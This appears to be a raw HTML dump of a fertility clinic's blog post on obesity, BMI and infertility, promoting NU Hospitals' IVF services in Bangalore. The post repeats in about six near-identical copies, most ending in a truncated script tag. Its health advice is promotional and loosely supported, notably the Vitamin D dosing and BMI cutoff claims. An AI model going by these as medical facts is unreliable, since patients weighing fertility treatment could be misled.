fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%.\r\n\r\nHowever, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #993300;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n\r\n<strong>How obesity affects fertility in women</strong> is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values. <strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support of the latest technology that the NU fertility centre has come out as a preferred centre for women and men in need of IVF treatment. Rated as the best IVF care centre in Bengaluru, our <a href=\"https://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>IVF specialists</strong></a> and Andrologists set high standards in commitment and smooth execution of the process, right from the initial stage which includes patient counseling, patient preparation, and execution of the treatment procedures and after treatment care support. IVF specialists at NU fertility centre are professional, friendly and courteous and make every conversation count.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\">Conclusion</span></h2>\r\nStudies have proved the impact of obesity and its risk associated with female and male infertility. IVF treatment has rekindled hopes amongst women that they can now look forward to having a family, even if they are overweight. In addition to this, Interventions including weight loss, physical activity, dietary modification, and bariatric surgery, hold a lot of promise for obese patients, wishing to conceive. However, more translational work is required to analyze the interplay between obesity and reproduction, with the goal of building healthy families.\r\n\r\n</div>\r\n<script>function

style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>Obesity</strong></span></h2>\r\nObesity, in simpler terms well-understood as overweight, is a common term, heard everywhere these days. It has become a global endemic or a wide-ranging problem, so to say and millions around the world continue to face the challenges that obesity continues to throw at them.\r\n\r\n<!--more-->\r\n\r\nWhile it does affect both men and women, it is increasingly seen that women of reproductive age face more challenges. Studies conducted in the recent past in the United States of America reveal that about 23% of women of reproductive age face the consequences of being obese. And the most widely noticed consequence is related to female infertility. According to a WHO estimate, the overall prevalence of primary infertility in India is between 3.9 to 16.8%. However, the prevalence of infertility in India varies from state to state such as from 3.7 % in Uttar Pradesh, Himachal Pradesh and Maharashtra to 5%, down South in Andhra Pradesh and 15%, up North again in Kashmir. The prevalence also varies in the same region across castes and tribes.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How does being overweight affect fertility?</strong></span></h2>\r\nBefore we get into how obesity affects fertility, it would benefit readers to know a bit about what overweight actually is. From a lay man’s perspective, it is referred to excess body weight; more than what is permissible, for an individual at his age. Though we understand Obesity and Overweight to be almost the same, there is a very slight difference, which actually separates them and that is seen through the difference in BMI or Body Mass Index Values.\r\n\r\n<strong>World Health Organization (WHO), says that if the BMI equals to or is greater than 25 kg/m2, it is considered overweight, whereas if the BMI equals to or is greater than 30 kg/m2, it is considered obesity. BMI is calculated by using the height and weight of an individual.</strong> Obesity, though generally being a known risk factor for common problems like hypertension, diabetes, heart ailments, and arthritis, is a common cause for affecting fertility, largely in women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>How obesity affects fertility in women?</strong></span></h2>\r\nHow obesity affects fertility in women is better seen when women complain about menstrual disorders, infertility, miscarriage, and unexpected pregnancy outcomes. This can impair reproductive function. Studies have also concluded that the risk of infertility is three times higher in an obese woman than a non-obese woman. However, it is not just women who suffer the consequences. Men who are overweight also face challenging issues due to <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong></a> which happens as a result of hormonal and other metabolic imbalance.\r\n\r\nAs we have been talking about overweight and obesity, many of us would want to know does being underweight affects fertility too. The answer is yes as being underweight could lead to miscarriage and premature birth.\r\n\r\nWhile there is a solution to every problem, it all goes down to visit the right place which has the right service and this is where <strong>NU Hospitals</strong>, a state of the art fertility center in Bangalore, India scores by treating Infertility with IVF Treatment. It is sure to excite us to know more about what IVF treatment is all about and how it addresses female and male infertility issues.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>IVF Treatment</strong></span></h2>\r\n<a href=\"https://www.nufertility.com/blog/in-vitro-fertilization-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>In-Vitro Fertilization</strong> </a>or just IVF as it is widely known as has caught global attention, especially in the case of women who are obese and face fertility issues. Though healthy lifestyle changes are also being suggested by doctors to address infertility, it is the IVF treatment, which has become a preferred choice for most of the women who want to overcome pregnancy-related issues.\r\n\r\nIVF is a series of procedures, aimed at helping solve fertility issues and genetic problems. IVF fertility treatment is seen as the most effective type of <strong>assisted reproductive technology (ART)</strong>. ‘Eggs and Sperms are used to create embryos’.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #333333;\"><strong>BMI for IVF treatment</strong></span></h2>\r\nThe BMI or Body Mass Index during pregnancy holds immense value, especially for women who are obese. Usually, the desired BMI readings, for a healthy person, range from 18.5 to 25. Most fertility clinics have a strict requirement of BMI for patients requiring IVF treatment. Anything below 30 is considered good enough.\r\n\r\nHowever, studies indicate that about 20% of women have a BMI above 30 during the beginning of their pregnancy, which is a sure cause for concern. The risks associated with high BMI can be minimized by consuming a healthy diet, increased dosage of Vitamin D supplements and exercises.\r\n\r\nIt is due to a clinically driven procedure and support 